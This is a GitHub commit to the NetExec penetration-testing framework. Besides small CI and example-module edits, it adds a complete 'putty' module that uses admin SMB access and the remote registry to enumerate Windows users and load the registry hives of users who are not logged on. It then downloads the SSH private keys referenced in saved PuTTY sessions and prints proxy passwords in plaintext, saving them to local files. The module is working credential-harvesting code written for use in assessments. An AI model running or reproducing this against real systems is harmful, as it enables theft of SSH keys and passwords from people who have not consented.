Skip to content

Commit 46574d4

Browse files
authored
Merge branch 'Pennyw0rth:main' into module_wcc_add_defender
2 parents 1c965cb + e3baadb commit 46574d4

4 files changed

Lines changed: 284 additions & 119 deletions

File tree

.github/workflows/test.yml

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,9 @@ jobs:
2626
python-version: ${{ matrix.python-version }}
2727
cache: poetry
2828
cache-dependency-path: poetry.lock
29+
- name: Install with pipx
30+
run: |
31+
pipx install . --python python${{ matrix.python-version }}
2932
- name: Install poetry
3033
run: |
3134
pipx install poetry --python python${{ matrix.python-version }}
@@ -45,4 +48,4 @@ jobs:
4548
poetry run netexec mssql 127.0.0.1
4649
poetry run netexec ssh 127.0.0.1
4750
poetry run netexec ftp 127.0.0.1
48-
poetry run netexec smb 127.0.0.1 -M veeam
51+
poetry run netexec smb 127.0.0.1 -M veeam

nxc/modules/example_module.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,9 +12,9 @@ class NXCModule:
1212
opsec_safe = True # Does the module touch disk?
1313
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
1414

15-
def __init__(self, context=None, module_options=None):
16-
self.context = context
17-
self.module_options = module_options
15+
def __init__(self):
16+
self.context = None
17+
self.module_options = None
1818

1919
def options(self, context, module_options):
2020
"""Required.

nxc/modules/putty.py

Lines changed: 221 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,221 @@
1+
from datetime import datetime
2+
from io import BytesIO
3+
import traceback
4+
from urllib.parse import unquote
5+
from impacket.dcerpc.v5.rpcrt import DCERPCException
6+
from impacket.dcerpc.v5 import rrp
7+
from impacket.examples.secretsdump import RemoteOperations
8+
from os import makedirs
9+
from nxc.helpers.logger import highlight
10+
from nxc.paths import NXC_PATH
11+
import re
12+
13+
14+
class NXCModule:
15+
"""Module by @NeffIsBack"""
16+
17+
name = "putty"
18+
description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
19+
supported_protocols = ["smb"]
20+
opsec_safe = True
21+
multiple_hosts = True
22+
23+
def __init__(self):
24+
self.context = None
25+
self.module_options = None
26+
self.rrp = None
27+
28+
def options(self, context, module_options):
29+
"""No options available"""
30+
31+
def get_logged_on_users(self):
32+
"""Enumerate all logged in and loaded Users on System"""
33+
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
34+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
35+
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
36+
37+
# Get User Names
38+
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
39+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
40+
41+
# Filter legit users in regex
42+
user_objects.remove(".DEFAULT")
43+
regex = re.compile(r"^.*_Classes$")
44+
return [i for i in user_objects if not regex.match(i)]
45+
46+
def get_all_users(self):
47+
"""Get all users that have logged in at some point in time"""
48+
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
49+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
50+
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
51+
52+
# Get User Names
53+
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
54+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
55+
return user_objects
56+
57+
def sid_to_name(self, all_users):
58+
"""Convert SID to Usernames for better readability"""
59+
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
60+
61+
user_dict = {}
62+
for user_object in all_users:
63+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
64+
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
65+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
66+
user_dict[user_object] = user_profile_path.split("\\")[-1]
67+
return user_dict
68+
69+
def load_missing_users(self, unloaded_user_objects):
70+
"""Load missing users into registry to access their registry keys."""
71+
for user_object in unloaded_user_objects:
72+
# Extract profile Path of NTUSER.DAT
73+
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
74+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
75+
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
76+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
77+
78+
# Load Profile
79+
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
80+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
81+
82+
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
83+
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
84+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
85+
86+
def unload_missing_users(self, unloaded_user_objects):
87+
"""If some user were not logged in at the beginning we unload them from registry."""
88+
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
89+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
90+
91+
for user_object in unloaded_user_objects:
92+
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
93+
try:
94+
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
95+
except Exception as e:
96+
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
97+
self.context.log.debug(traceback.format_exc())
98+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
99+
100+
def get_private_key_paths(self, all_users):
101+
"""Get all private key paths for all users"""
102+
sessions = []
103+
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
104+
105+
for user in all_users:
106+
try:
107+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
108+
reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
109+
self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
110+
111+
# Get Session Names
112+
session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
113+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
114+
115+
# Extract stored Session infos
116+
for session_name in session_names:
117+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
118+
119+
# Get private Key Path
120+
private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
121+
proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
122+
proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
123+
proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
124+
proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
125+
126+
# Session infos
127+
hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
128+
port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
129+
protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
130+
sessions.append({
131+
"user": self.user_dict[user],
132+
"session_name": unquote(session_name),
133+
"hostname": hostname,
134+
"port": port,
135+
"protocol": protocol,
136+
"private_key_path": private_key_path,
137+
"proxy_host": proxy_host,
138+
"proxy_port": proxy_port,
139+
"proxy_username": proxy_username,
140+
"proxy_password": proxy_password
141+
})
142+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
143+
144+
except DCERPCException as e:
145+
if str(e).find("ERROR_FILE_NOT_FOUND"):
146+
self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
147+
except Exception as e:
148+
self.context.log.fail(f"Unexpected error: {e}")
149+
self.context.log.debug(traceback.format_exc())
150+
return sessions
151+
152+
def extract_session(self, sessions):
153+
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
154+
for session in sessions:
155+
if session["private_key_path"]:
156+
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
157+
share = session["private_key_path"].split(":")[0] + "$"
158+
file_path = session["private_key_path"].split(":")[1]
159+
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
160+
161+
buf = BytesIO()
162+
with open(download_path, "wb") as file:
163+
try:
164+
self.connection.conn.getFile(share, file_path, buf.write)
165+
except Exception as e:
166+
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
167+
self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
168+
else:
169+
self.context.log.exception(f"Error downloading private key: {e}")
170+
continue
171+
file.write(buf.getvalue())
172+
self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
173+
self.context.log.highlight(f"Sessionname: {session['session_name']}")
174+
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
175+
self.context.log.highlight(f"Protocol: {session['protocol']}")
176+
if session["proxy_password"]:
177+
self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
178+
self.context.log.highlight(f"Sessionname: {session['session_name']}")
179+
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
180+
self.context.log.highlight(f"Protocol: {session['protocol']}")
181+
self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
182+
self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
183+
self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
184+
with open(proxycreds_file, "a") as f:
185+
f.write("================\n")
186+
f.write(f"User: {session['user']}\n")
187+
f.write(f"Sessionname: {session['session_name']}\n")
188+
f.write(f"Host: {session['hostname']}:{session['port']}\n")
189+
f.write(f"Protocol: {session['protocol']}\n")
190+
f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
191+
f.write(f"Proxy Username: {session['proxy_username']}\n")
192+
f.write(f"Proxy Password: {session['proxy_password']}\n")
193+
self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
194+
195+
def on_admin_login(self, context, connection):
196+
self.connection = connection
197+
self.context = context
198+
199+
try:
200+
self.rrp = RemoteOperations(connection.conn, connection.kerberos)
201+
self.rrp.enableRegistry()
202+
203+
all_users = self.get_all_users()
204+
loaded_user_objects = self.get_logged_on_users()
205+
self.user_dict = self.sid_to_name(all_users)
206+
207+
# Users which must be loaded into registry:
208+
unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
209+
self.load_missing_users(unloaded_user_objects)
210+
211+
sessions = self.get_private_key_paths(all_users)
212+
if sessions:
213+
self.extract_session(sessions)
214+
else:
215+
self.context.log.info("No saved putty sessions found in registry")
216+
217+
self.unload_missing_users(unloaded_user_objects)
218+
except Exception as e:
219+
context.log.exception(f"Error: {e}")
220+
finally:
221+
self.rrp.finish()

0 commit comments

Comments
 (0)